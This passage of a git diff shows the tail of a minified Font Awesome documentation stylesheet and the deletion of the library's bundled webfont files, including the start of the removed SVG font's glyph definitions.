rrow-up:before{content:"\f062"}.icon-arrow-down:before{content:"\f063"}.icon-share-alt:before{content:"\f064"}.icon-resize-full:before{content:"\f065"}.icon-resize-small:before{content:"\f066"}.icon-plus:before{content:"\f067"}.icon-minus:before{content:"\f068"}.icon-asterisk:before{content:"\f069"}.icon-exclamation-sign:before{content:"\f06a"}.icon-gift:before{content:"\f06b"}.icon-leaf:before{content:"\f06c"}.icon-fire:before{content:"\f06d"}.icon-eye-open:before{content:"\f06e"}.icon-eye-close:before{content:"\f070"}.icon-warning-sign:before{content:"\f071"}.icon-plane:before{content:"\f072"}.icon-calendar:before{content:"\f073"}.icon-random:before{content:"\f074"}.icon-comment:before{content:"\f075"}.icon-magnet:before{content:"\f076"}.icon-chevron-up:before{content:"\f077"}.icon-chevron-down:before{content:"\f078"}.icon-retweet:before{content:"\f079"}.icon-shopping-cart:before{content:"\f07a"}.icon-folder-close:before{content:"\f07b"}.icon-folder-open:before{content:"\f07c"}.icon-resize-vertical:before{content:"\f07d"}.icon-resize-horizontal:before{content:"\f07e"}.icon-bar-chart:before{content:"\f080"}.icon-twitter-sign:before{content:"\f081"}.icon-facebook-sign:before{content:"\f082"}.icon-camera-retro:before{content:"\f083"}.icon-key:before{content:"\f084"}.icon-cogs:before{content:"\f085"}.icon-comments:before{content:"\f086"}.icon-thumbs-up:before{content:"\f087"}.icon-thumbs-down:before{content:"\f088"}.icon-star-half:before{content:"\f089"}.icon-heart-empty:before{content:"\f08a"}.icon-signout:before{content:"\f08b"}.icon-linkedin-sign:before{content:"\f08c"}.icon-pushpin:before{content:"\f08d"}.icon-external-link:before{content:"\f08e"}.icon-signin:before{content:"\f090"}.icon-trophy:before{content:"\f091"}.icon-github-sign:before{content:"\f092"}.icon-upload-alt:before{content:"\f093"}.icon-lemon:before{content:"\f094"}#overview{padding-top:60px}#base-icons,#extended-icons,#examples,#integration,#code,#roadmap{padding-top:40px}.navbar .brand{padding:11px 20px 9px}.navbar-inner{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.navbar .nav>li>a{padding:12px 10px 9px}h1,h2,h3,h4,h5,h6{font-family:MuseoSlab,"Helvetica Neue",Helvetica,Arial,sans-serif}#iconCarousel{float:right;width:255.5px;height:206.25px;margin-right:10px;margin-top:-20px;font-size:275px;text-align:center;text-shadow:2px 2px 3px #222}#iconCarousel a{color:#fff}#iconCarousel .carousel-control{top:280px;width:23px;height:23px;width:23px;height:23px;width:23px;height:23px;width:23px;height:23px;border-width:3px;font-size:17px;line-height:24px;left:94.66666666666667px}#iconCarousel .carousel-control.right{left:auto;right:94.66666666666667px}a[href^='http://']{display:inline-block}a[href^='http://']:after{font-family:FontAwesome;content:"\0020 \f08e"}a[href^='http://']:after:hover{text-decoration:none}.hero-unit{background-color:#9d261d;text-shadow:2px 2px 2px #333}.hero-unit,.hero-unit h1{color:#fff}.hero-unit h1{font-size:70px;letter-spacing:-1px;line-height:1.2}.hero-unit p{margin-top:10px;margin-bottom:15px;font-size:28px;line-height:34px}.hero-unit ul{margin-left:50px}.hero-unit ul li{font-size:15px;line-height:30px;text-shadow:1px 1px 1px #333}.hero-unit ul li.icon-large:before{text-indent:-2em;vertical-align:baseline}.hero-unit a{color:#fffeb8}.hero-unit .btn-large{background-color:#e4e4e4;background-image:-moz-linear-gradient(top,#fff,#bbb);background-image:-ms-linear-gradient(top,#fff,#bbb);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#bbb));background-image:-webkit-linear-gradient(top,#fff,#bbb);background-image:-o-linear-gradient(top,#fff,#bbb);background-image:linear-gradient(top,#fff,#bbb);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff',endColorstr='#bbbbbb',GradientType=0);background-color:#e4e4e4;background-image:-moz-linear-gradient(top,#fff,#bbb);background-image:-ms-linear-gradient(top,#fff,#bbb);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#bbb));background-image:-webkit-linear-gradient(top,#fff,#bbb);background-image:-o-linear-gradient(top,#fff,#bbb);background-image:linear-gradient(top,#fff,#bbb);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff',endColorstr='#bbbbbb',GradientType=0);border-color:#bbb #bbb #959595;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);background-color:#e4e4e4;background-image:-moz-linear-gradient(top,#fff,#bbb);background-image:-ms-linear-gradient(top,#fff,#bbb);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#bbb));background-image:-webkit-linear-gradient(top,#fff,#bbb);background-image:-o-linear-gradient(top,#fff,#bbb);background-image:linear-gradient(top,#fff,#bbb);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff',endColorstr='#bbbbbb',GradientType=0);background-color:#e4e4e4;background-image:-moz-linear-gradient(top,#fff,#bbb);background-image:-ms-linear-gradient(top,#fff,#bbb);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#bbb));background-image:-webkit-linear-gradient(top,#fff,#bbb);background-image:-o-linear-gradient(top,#fff,#bbb);background-image:linear-gradient(top,#fff,#bbb);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff',endColorstr='#bbbbbb',GradientType=0);border-color:#bbb #bbb #959595;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);background-color:#e4e4e4;background-image:-moz-linear-gradient(top,#fff,#bbb);background-image:-ms-linear-gradient(top,#fff,#bbb);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#bbb));background-image:-webkit-linear-gradient(top,#fff,#bbb);background-image:-o-linear-gradient(top,#fff,#bbb);background-image:linear-gradient(top,#fff,#bbb);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff',endColorstr='#bbbbbb',GradientType=0);background-color:#e4e4e4;background-image:-moz-linear-gradient(top,#fff,#bbb);background-image:-ms-linear-gradient(top,#fff,#bbb);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#bbb));background-image:-webkit-linear-gradient(top,#fff,#bbb);background-image:-o-linear-gradient(top,#fff,#bbb);background-image:linear-gradient(top,#fff,#bbb);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff',endColorstr='#bbbbbb',GradientType=0);border-color:#bbb #bbb #959595;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);background-color:#e4e4e4;background-image:-moz-linear-gradient(top,#fff,#bbb);background-image:-ms-linear-gradient(top,#fff,#bbb);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#bbb));background-image:-webkit-linear-gradient(top,#fff,#bbb);background-image:-o-linear-gradient(top,#fff,#bbb);background-image:linear-gradient(top,#fff,#bbb);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff',endColorstr='#bbbbbb',GradientType=0);background-color:#e4e4e4;background-image:-moz-linear-gradient(top,#fff,#bbb);background-image:-ms-linear-gradient(top,#fff,#bbb);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#bbb));background-image:-webkit-linear-gradient(top,#fff,#bbb);background-image:-o-linear-gradient(top,#fff,#bbb);background-image:linear-gradient(top,#fff,#bbb);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff',endColorstr='#bbbbbb',GradientType=0);border-color:#bbb #bbb #959595;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);font-family:MuseoSlab,"Helvetica Neue",Helvetica,Arial,sans-serif;color:#333;margin-top:15px;font-weight:bold;font-size:18px;padding:13px 22px;padding-left:66px;margin-right:10px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;position:relative;text-align:left}.hero-unit .btn-large:hover,.hero-unit .btn-large:active,.hero-unit .btn-large.active,.hero-unit .btn-large.disabled,.hero-unit .btn-large[disabled]{background-color:#bbb}.hero-unit .btn-large:active,.hero-unit .btn-large.active{background-color:#a2a2a2 \9}.hero-unit .btn-large:hover,.hero-unit .btn-large:active,.hero-unit .btn-large.active,.hero-unit .btn-large.disabled,.hero-unit .btn-large[disabled]{background-color:#bbb}.hero-unit .btn-large:active,.hero-unit .btn-large.active{background-color:#a2a2a2 \9}.hero-unit .btn-large i{position:absolute;top:12px;left:22px;font-size:46px}.hero-unit .hero-content{width:500px;text-align:center}.btn-primary,.hero-unit .btn-primary{background-color:#e7d785;background-image:-moz-linear-gradient(top,#fffeb8,#c49c38);background-image:-ms-linear-gradient(top,#fffeb8,#c49c38);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fffeb8),to(#c49c38));background-image:-webkit-linear-gradient(top,#fffeb8,#c49c38);background-image:-o-linear-gradient(top,#fffeb8,#c49c38);background-image:linear-gradient(top,#fffeb8,#c49c38);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffeb8',endColorstr='#c49c38',GradientType=0);background-color:#e7d785;background-image:-moz-linear-gradient(top,#fffeb8,#c49c38);background-image:-ms-linear-gradient(top,#fffeb8,#c49c38);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fffeb8),to(#c49c38));background-image:-webkit-linear-gradient(top,#fffeb8,#c49c38);background-image:-o-linear-gradient(top,#fffeb8,#c49c38);background-image:linear-gradient(top,#fffeb8,#c49c38);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffeb8',endColorstr='#c49c38',GradientType=0);border-color:#c49c38 #c49c38 #896d27;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);background-color:#e7d785;background-image:-moz-linear-gradient(top,#fffeb8,#c49c38);background-image:-ms-linear-gradient(top,#fffeb8,#c49c38);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fffeb8),to(#c49c38));background-image:-webkit-linear-gradient(top,#fffeb8,#c49c38);background-image:-o-linear-gradient(top,#fffeb8,#c49c38);background-image:linear-gradient(top,#fffeb8,#c49c38);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffeb8',endColorstr='#c49c38',GradientType=0);background-color:#e7d785;background-image:-moz-linear-gradient(top,#fffeb8,#c49c38);background-image:-ms-linear-gradient(top,#fffeb8,#c49c38);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fffeb8),to(#c49c38));background-image:-webkit-linear-gradient(top,#fffeb8,#c49c38);background-image:-o-linear-gradient(top,#fffeb8,#c49c38);background-image:linear-gradient(top,#fffeb8,#c49c38);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffeb8',endColorstr='#c49c38',GradientType=0);border-color:#c49c38 #c49c38 #896d27;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);background-color:#e7d785;background-image:-moz-linear-gradient(top,#fffeb8,#c49c38);background-image:-ms-linear-gradient(top,#fffeb8,#c49c38);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fffeb8),to(#c49c38));background-image:-webkit-linear-gradient(top,#fffeb8,#c49c38);background-image:-o-linear-gradient(top,#fffeb8,#c49c38);background-image:linear-gradient(top,#fffeb8,#c49c38);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffeb8',endColorstr='#c49c38',GradientType=0);background-color:#e7d785;background-image:-moz-linear-gradient(top,#fffeb8,#c49c38);background-image:-ms-linear-gradient(top,#fffeb8,#c49c38);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fffeb8),to(#c49c38));background-image:-webkit-linear-gradient(top,#fffeb8,#c49c38);background-image:-o-linear-gradient(top,#fffeb8,#c49c38);background-image:linear-gradient(top,#fffeb8,#c49c38);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffeb8',endColorstr='#c49c38',GradientType=0);border-color:#c49c38 #c49c38 #896d27;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);background-color:#e7d785;background-image:-moz-linear-gradient(top,#fffeb8,#c49c38);background-image:-ms-linear-gradient(top,#fffeb8,#c49c38);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fffeb8),to(#c49c38));background-image:-webkit-linear-gradient(top,#fffeb8,#c49c38);background-image:-o-linear-gradient(top,#fffeb8,#c49c38);background-image:linear-gradient(top,#fffeb8,#c49c38);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffeb8',endColorstr='#c49c38',GradientType=0);background-color:#e7d785;background-image:-moz-linear-gradient(top,#fffeb8,#c49c38);background-image:-ms-linear-gradient(top,#fffeb8,#c49c38);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fffeb8),to(#c49c38));background-image:-webkit-linear-gradient(top,#fffeb8,#c49c38);background-image:-o-linear-gradient(top,#fffeb8,#c49c38);background-image:linear-gradient(top,#fffeb8,#c49c38);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffeb8',endColorstr='#c49c38',GradientType=0);border-color:#c49c38 #c49c38 #896d27;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);color:#333;text-shadow:0 -1px 0 rgba(255,255,255,0.25)}.btn-primary:hover,.hero-unit .btn-primary:hover,.btn-primary:active,.hero-unit .btn-primary:active,.btn-primary.active,.hero-unit .btn-primary.active,.btn-primary.disabled,.hero-unit .btn-primary.disabled,.btn-primary[disabled],.hero-unit .btn-primary[disabled]{background-color:#c49c38}.btn-primary:active,.hero-unit .btn-primary:active,.btn-primary.active,.hero-unit .btn-primary.active{background-color:#9c7c2d \9}.btn-primary:hover,.hero-unit .btn-primary:hover,.btn-primary:active,.hero-unit .btn-primary:active,.btn-primary.active,.hero-unit .btn-primary.active,.btn-primary.disabled,.hero-unit .btn-primary.disabled,.btn-primary[disabled],.hero-unit .btn-primary[disabled]{background-color:#c49c38}.btn-primary:active,.hero-unit .btn-primary:active,.btn-primary.active,.hero-unit .btn-primary.active{background-color:#9c7c2d \9}.btn-primary:hover,.hero-unit .btn-primary:hover{text-shadow:0 -1px 0 rgba(255,255,255,0.25);color:#333}.the-icons li[class^="icon-"],.the-icons li[class*=" icon-"]{cursor:pointer;margin-top:-3px;font-size:14px;line-height:24px;height:24px}.the-icons li[class^="icon-"]:after,.the-icons li[class*=" icon-"]:after{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-style:normal;content:attr(class)}.the-icons li[class^="icon-"]:hover:before,.the-icons li[class*=" icon-"]:hover:before{font-size:24px;text-indent:-1.3333333333333333em;vertical-align:middle}#why .row{margin-bottom:20px}#why .icon-large{font-size:22px;text-align:center;padding-right:4px}#examples .btn-toolbar{margin-top:0;margin-bottom:20px}#integration .row{margin-bottom:40px}#examples form,#code form{margin-bottom:10px}#examples form input,#code form input{line-height:1}#examples .rating,#code .rating{unicode-bidi:bidi-override;direction:rtl;font-size:30px}#examples .rating span.star,#code .rating span.star{font-family:FontAwesome;font-weight:normal;font-style:normal;display:inline-block}#examples .rating span.star:hover,#code .rating span.star:hover{cursor:pointer}#examples .rating span.star:before,#code .rating span.star:before{content:"\f006";padding-right:5px;color:#999}#examples .rating span.star:hover:before,#code .rating span.star:hover:before,#examples .rating span.star:hover ~ span.star:before,#code .rating span.star:hover ~ span.star:before{content:"\f005";color:#e3cf7a}.modal{width:560px;max-height:510px}.modal .modal-body{padding-bottom:0}.modal .modal-body .row{margin-bottom:15px}.modal .modal-body div.thumbnail{text-align:center}.modal .modal-body div.thumbnail div{margin-bottom:5px}.modal .modal-body .icon6{width:325px}.modal .modal-body .icon6>div.thumbnail>div{line-height:272px;height:272px}.modal .modal-body .icon6>div.thumbnail>div i{font-size:340px}.modal .modal-body .icon6>div.thumbnail>div [class^="icon-"]{height:272px}.modal .modal-body .icon5{width:185px}.modal .modal-body .icon5>div.thumbnail>div{line-height:144px;height:144px}.modal .modal-body .icon5>div.thumbnail>div i{font-size:180px}.modal .modal-body .icon5>div.thumbnail>div [class^="icon-"]{height:144px}.modal .modal-body .icon4{width:215px}.modal .modal-body .icon4>div.thumbnail>div{line-height:80px;height:80px}.modal .modal-body .icon4>div.thumbnail>div i{font-size:100px}.modal .modal-body .icon4>div.thumbnail>div [class^="icon-"]{height:80px}.modal .modal-body .icon3{width:120px}.modal .modal-body .icon3>div.thumbnail>div{line-height:40px;height:40px}.modal .modal-body .icon3>div.thumbnail>div i{font-size:50px}.modal .modal-body .icon3>div.thumbnail>div [class^="icon-"]{height:40px}.modal .modal-body .icon2{width:75px}.modal .modal-body .icon2>div.thumbnail>div{line-height:16px;height:16px}.modal .modal-body .icon2>div.thumbnail>div i{font-size:20px}.modal .modal-body .icon2>div.thumbnail>div [class^="icon-"]{height:16px}.modal .modal-body .icon1{width:60px}.modal .modal-body .icon1>div.thumbnail>div{line-height:9.600000000000001px;height:9.600000000000001px}.modal .modal-body .icon1>div.thumbnail>div i{font-size:12px}.modal .modal-body .icon1>div.thumbnail>div [class^="icon-"]{height:9.600000000000001px}footer{color:#555;margin-top:20px;border-top:1px solid #eee;margin-top:60px;padding-top:20px;padding-bottom:60px}footer ul{margin-left:30px;line-height:25px}footer ul li:before{font-size:20px;vertical-align:top}
\ No newline at end of file
diff --git a/assets/font-awesome/docs/assets/font/fontawesome-webfont.eot b/assets/font-awesome/docs/assets/font/fontawesome-webfont.eot
deleted file mode 100755
index 3f669a7e..00000000
Binary files a/assets/font-awesome/docs/assets/font/fontawesome-webfont.eot and /dev/null differ
diff --git a/assets/font-awesome/docs/assets/font/fontawesome-webfont.svg b/assets/font-awesome/docs/assets/font/fontawesome-webfont.svg
deleted file mode 100755
index 73c0ad9a..00000000
--- a/assets/font-awesome/docs/assets/font/fontawesome-webfont.svg
+++ /dev/null
@@ -1,175 +0,0 @@
-<?xml version="1.0" standalone="no"?>
-<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
-<svg xmlns="http://www.w3.org/2000/svg">
-<metadata>
-This is a custom SVG webfont generated by Font Squirrel.
-Designer    : Dave Gandy
-Foundry     : Fort Awesome
-</metadata>
-<defs>
-<font id="FontAwesomeRegular" horiz-adv-x="900" >
-<font-face units-per-em="1000" ascent="750" descent="-250" />
-<missing-glyph horiz-adv-x="250" />
-<glyph unicode="&#xd;" horiz-adv-x="250" />
-<glyph horiz-adv-x="0" />
-<glyph horiz-adv-x="0" />
-<glyph unicode=" "  horiz-adv-x="250" />
-<glyph unicode="&#x09;" horiz-adv-x="250" />
-<glyph unicode="&#xa0;" horiz-adv-x="250" />
-<glyph unicode="&#x2000;" horiz-adv-x="375" />
-<glyph unicode="&#x2001;" horiz-adv-x="751" />
-<glyph unicode="&#x2002;" horiz-adv-x="375" />
-<glyph unicode="&#x2003;" horiz-adv-x="751" />
-<glyph unicode="&#x2004;" horiz-adv-x="250" />
-<glyph unicode="&#x2005;" horiz-adv-x="187" />
-<glyph unicode="&#x2006;" horiz-adv-x="125" />
-<glyph unicode="&#x2007;" horiz-adv-x="125" />
-<glyph unicode="&#x2008;" horiz-adv-x="93" />
-<glyph unicode="&#x2009;" horiz-adv-x="150" />
-<glyph unicode="&#x200a;" horiz-adv-x="41" />
-<glyph unicode="&#x202f;" horiz-adv-x="150" />
-<glyph unicode="&#x205f;" horiz-adv-x="187" />
-<glyph unicode="&#xe000;" horiz-adv-x="500" d="M0 0v0v0v0v0z" />
-<glyph unicode="&#xf000;" horiz-adv-x="750" d="M3 727q10 23 34 23h675q25 0 35 -23t-8 -41l-298 -298v-313h121q16 0 27 -11t11 -26q0 -16 -11 -27t-27 -11h-375q-15 0 -26 11t-11 27q0 15 11 26t26 11h122v313l-298 298q-18 18 -8 41z" />
-<glyph unicode="&#xf001;" horiz-adv-x="688" d="M0 112q0 24 11 44.5t30 35.5t45 24t55 9q13 0 24.5 -2t22.5 -5v388l500 144v-525q0 -23 -11 -43.5t-30 -36t-45 -24.5t-55 -9t-54.5 9t-44.5 24.5t-30 36t-11 43.5t11 43.5t30 35.5t44.5 24t54.5 9q24 0 47 -6v248l-312 -90v-377q0 -23 -11 -43.5t-30 -35.5t-45 -24 t-55 -9t-55 9t-45 24t-30 35.5t-11 43.5z" />
-<glyph unicode="&#xf002;" horiz-adv-x="750" d="M0 437q0 65 24.5 122t67 99.5t99.5 67t122 24.5q64 0 121 -24.5t99.5 -67t67 -99.5t24.5 -122q0 -48 -13.5 -91t-38.5 -81l168 -167q9 -10 9 -23t-9 -22l-44 -44q-9 -9 -22 -9t-22 9l-168 168q-38 -25 -81 -38.5t-91 -13.5q-65 0 -122 24.5t-99.5 67t-67 99t-24.5 121.5z M125 437q0 -39 14.5 -73t40 -59.5t60 -40t73.5 -14.5t73 14.5t59.5 40t40 59.5t14.5 73t-14.5 73t-40 59.5t-59.5 40.5t-73 15t-73.5 -15t-60 -40.5t-40 -59.5t-14.5 -73zM194 437q0 25 9.5 46.5t25.5 37.5t37.5 25.5t46.5 9.5q10 0 16.5 -7t6.5 -17t-6.5 -16.5t-16.5 -6.5 q-30 0 -51 -21t-21 -51q0 -10 -6.5 -16.5t-16.5 -6.5t-17 6.5t-7 16.5z" />
-<glyph unicode="&#xf003;" d="M0 56v587v32v19q0 23 16.5 39.5t39.5 16.5h19h750h19q23 0 39.5 -16.5t16.5 -39.5v-19v-30v-589q0 -23 -16.5 -39.5t-39.5 -16.5h-788q-23 0 -39.5 16.5t-16.5 39.5zM75 75h750v416q-15 -15 -28 -24q-29 -21 -61 -46t-64 -49q-19 -14 -36.5 -28t-32.5 -25q-3 -2 -6 -4.5 t-7 -5.5q-14 -11 -29.5 -22.5t-33.5 -22t-37.5 -17t-40.5 -6.5q-20 0 -39.5 6.5t-37 17t-33.5 22t-29 22.5q-4 3 -7 5.5t-6 4.5q-15 11 -32.5 25t-36.5 28q-32 24 -64 49t-61 46q-13 9 -28 24v-416zM75 643q0 -14 6 -30t16.5 -32t23 -30t26.5 -24q23 -17 49 -37l52 -38 q26 -20 50 -39t44 -34l22 -17q14 -11 28.5 -21t29 -17.5t27.5 -7.5h1h1q13 0 27.5 7.5t29 17.5t28.5 21l22 17q20 15 44 34t50 39l52 38q26 20 49 37q13 10 26 24t23.5 30t16.5 32t6 30v32h-750v-32z" />
-<glyph unicode="&#xf004;" horiz-adv-x="846" d="M0 519q0 64 20 108t52.5 71.5t73.5 39.5t83 12q30 0 59 -10t54 -25t45.5 -32.5t35.5 -32.5q15 15 35.5 32.5t45.5 32.5t54 25t59 10q42 0 83 -12t73.5 -39.5t52.5 -71.5t20 -108q0 -44 -16.5 -83.5t-36 -69.5t-37 -48t-18.5 -19l-289 -288q-11 -11 -26 -11t-26 11 l-290 288q-1 1 -18 19t-36.5 48t-36 69.5t-16.5 83.5z" />
-<glyph unicode="&#xf005;" horiz-adv-x="787" d="M0.5 465q4.5 13 25.5 16l238 35l106 215q10 20 23.5 20t22.5 -20l107 -215l237 -35q22 -3 26 -16t-11 -28l-172 -168l40 -236q4 -22 -7 -30t-30 3l-213 111l-212 -111q-20 -11 -31 -3t-7 30l41 236l-172 168q-16 15 -11.5 28z" />
-<glyph unicode="&#xf006;" horiz-adv-x="787" d="M0.5 465q4.5 13 25.5 16l238 34l106 216q9 19 23 19t23 -19l107 -216l237 -34q22 -3 26 -16t-11 -28l-172 -168l40 -236q3 -16 -2 -24.5t-16 -8.5q-7 0 -19 5l-213 112l-212 -112q-12 -5 -19 -5q-11 0 -16 8.5t-3 24.5l41 236l-172 168q-16 15 -11.5 28zM136 421l100 -98 l29 -27l-7 -39l-24 -139l124 66l35 18l35 -18l124 -66l-23 139l-7 39l28 27l101 98l-139 20l-39 6l-18 35l-62 126l-62 -126l-17 -35l-39 -6z" />
-<glyph unicode="&#xf007;" d="M0 34v7q11 19 19.5 40t17.5 42t19.5 40t25.5 34q7 7 15.5 13.5t19.5 10.5t23.5 5t25.5 3q37 6 77.5 12.5t78.5 12.5q4 17 7 34.5t8 33.5q-8 11 -16 21.5t-15.5 23t-13.5 28.5t-9 37q-2 11 -5 32.5t-6 44t-5.5 41t-2.5 22.5q0 25 10.5 56t33 58t58 45.5t84.5 18.5 t84.5 -18.5t58 -45.5t33 -58t10.5 -56q0 -4 -2.5 -22.5t-5.5 -41t-6 -44t-5 -32.5q-3 -21 -9 -37t-13.5 -28.5t-16 -23t-15.5 -21.5q5 -16 8 -33.5t7 -34.5q38 -6 78.5 -12.5t77.5 -12.5q13 -2 25.5 -3t23.5 -5t19.5 -10.5t15.5 -13.5q15 -15 25.5 -34t19.5 -40t17.5 -42 t19.5 -40v-7q-14 -8 -26.5 -18.5t-30.5 -15.5h-786q-18 5 -30.5 15.5t-26.5 18.5z" />
-<glyph unicode="&#xf008;" d="M0 56v638q0 23 16.5 39.5t39.5 16.5h788q23 0 39.5 -16.5t16.5 -39.5v-638q0 -23 -16.5 -39.5t-39.5 -16.5h-788q-23 0 -39.5 16.5t-16.5 39.5zM56 75q0 -8 5.5 -13.5t13.5 -5.5h75q8 0 13.5 5.5t5.5 13.5v75q0 8 -5.5 13.5t-13.5 5.5h-75q-8 0 -13.5 -5.5t-5.5 -13.5 v-75zM56 250q0 -8 5.5 -13.5t13.5 -5.5h75q8 0 13.5 5.5t5.5 13.5v75q0 8 -5.5 13.5t-13.5 5.5h-75q-8 0 -13.5 -5.5t-5.5 -13.5v-75zM56 425q0 -8 5.5 -13.5t13.5 -5.5h75q8 0 13.5 5.5t5.5 13.5v75q0 8 -5.5 13.5t-13.5 5.5h-75q-8 0 -13.5 -5.5t-5.5 -13.5v-75zM56 600 q0 -8 5.5 -13.5t13.5 -5.5h75q8 0 13.5 5.5t5.5 13.5v75q0 8 -5.5 13.5t-13.5 5.5h-75q-8 0 -13.5 -5.5t-5.5 -13.5v-75zM225 75q0 -8 5.5 -13.5t13.5 -5.5h412q8 0 13.5 5.5t5.5 13.5v250q0 8 -5.5 13.5t-13.5 5.5h-412q-8 0 -13.5 -5.5t-5.5 -13.5v-250zM225 425 q0 -8 5.5 -13.5t13.5 -5.5h412q8 0 13.5 5.5t5.5 13.5v250q0 8 -5.5 13.5t-13.5 5.5h-412q-8 0 -13.5 -5.5t-5.5 -13.5v-250zM731 75q0 -8 5.5 -13.5t13.5 -5.5h75q8 0 13.5 5.5t5.5 13.5v75q0 8 -5.5 13.5t-13.5 5.5h-75q-8 0 -13.5 -5.5t-5.5 -13.5v-75zM731 250 q0 -8 5.5 -13.5t13.5 -5.5h75q8 0 13.5 5.5t5.5 13.5v75q0 8 -5.5 13.5t-13.5 5.5h-75q-8 0 -13.5 -5.5t-5.5 -13.5v-75zM731 425q0 -8 5.5 -13.5t13.5 -5.5h75q8 0 13.5 5.5t5.5 13.5v75q0 8 -5.5 13.5t-13.5 5.5h-75q-8 0 -13.5 -5.5t-5.5 -13.5v-75zM731 600 q0 -8 5.5 -13.5t13.5 -5.5h75q8 0 13.5 5.5t5.5 13.5v75q0 8 -5.5 13.5t-13.5 5.5h-75q-8 0 -13.5 -5.5t-5.5 -13.5v-75z" />
-<glyph unicode="&#xf009;" d="M0 38v262q0 16 11 27t27 11h337q16 0 27 -11t11 -27v-262q0 -16 -11 -27t-27 -11h-337q-16 0 -27 11t-11 27zM0 450v263q0 15 11 26t27 11h337q16 0 27 -11t11 -26v-263q0 -16 -11 -26.5t-27 -10.5h-337q-16 0 -27 10.5t-11 26.5zM488 38v262q0 16 10.5 27t26.5 11h338 q15 0 26 -11t11 -27v-262q0 -16 -11 -27t-26 -11h-338q-16 0 -26.5 11t-10.5 27zM488 450v263q0 15 10.5 26t26.5 11h338q15 0 26 -11t11 -26v-263q0 -16 -11 -26.5t-26 -10.5h-338q-16 0 -26.5 10.5t-10.5 26.5z" />
-<glyph unicode="&#xf00a;" d="M0 38v132q0 16 11 26.5t27 10.5h175q15 0 26 -10.5t11 -26.5v-132q0 -16 -11 -27t-26 -11h-175q-16 0 -27 11t-11 27zM0 320v110q0 16 11 26.5t27 10.5h175q15 0 26 -10.5t11 -26.5v-110q0 -16 -11 -27t-26 -11h-175q-16 0 -27 11t-11 27zM0 580v133q0 15 11 26t27 11 h175q15 0 26 -11t11 -26v-133q0 -16 -11 -27t-26 -11h-175q-16 0 -27 11t-11 27zM325 38v132q0 16 11 26.5t27 10.5h175q15 0 26 -10.5t11 -26.5v-132q0 -16 -11 -27t-26 -11h-175q-16 0 -27 11t-11 27zM325 320v110q0 16 11 26.5t27 10.5h175q15 0 26 -10.5t11 -26.5v-110 q0 -16 -11 -27t-26 -11h-175q-16 0 -27 11t-11 27zM325 580v133q0 15 11 26t27 11h175q15 0 26 -11t11 -26v-133q0 -16 -11 -27t-26 -11h-175q-16 0 -27 11t-11 27zM650 38v132q0 16 11 26.5t27 10.5h175q15 0 26 -10.5t11 -26.5v-132q0 -16 -11 -27t-26 -11h-175 q-16 0 -27 11t-11 27zM650 320v110q0 16 11 26.5t27 10.5h175q15 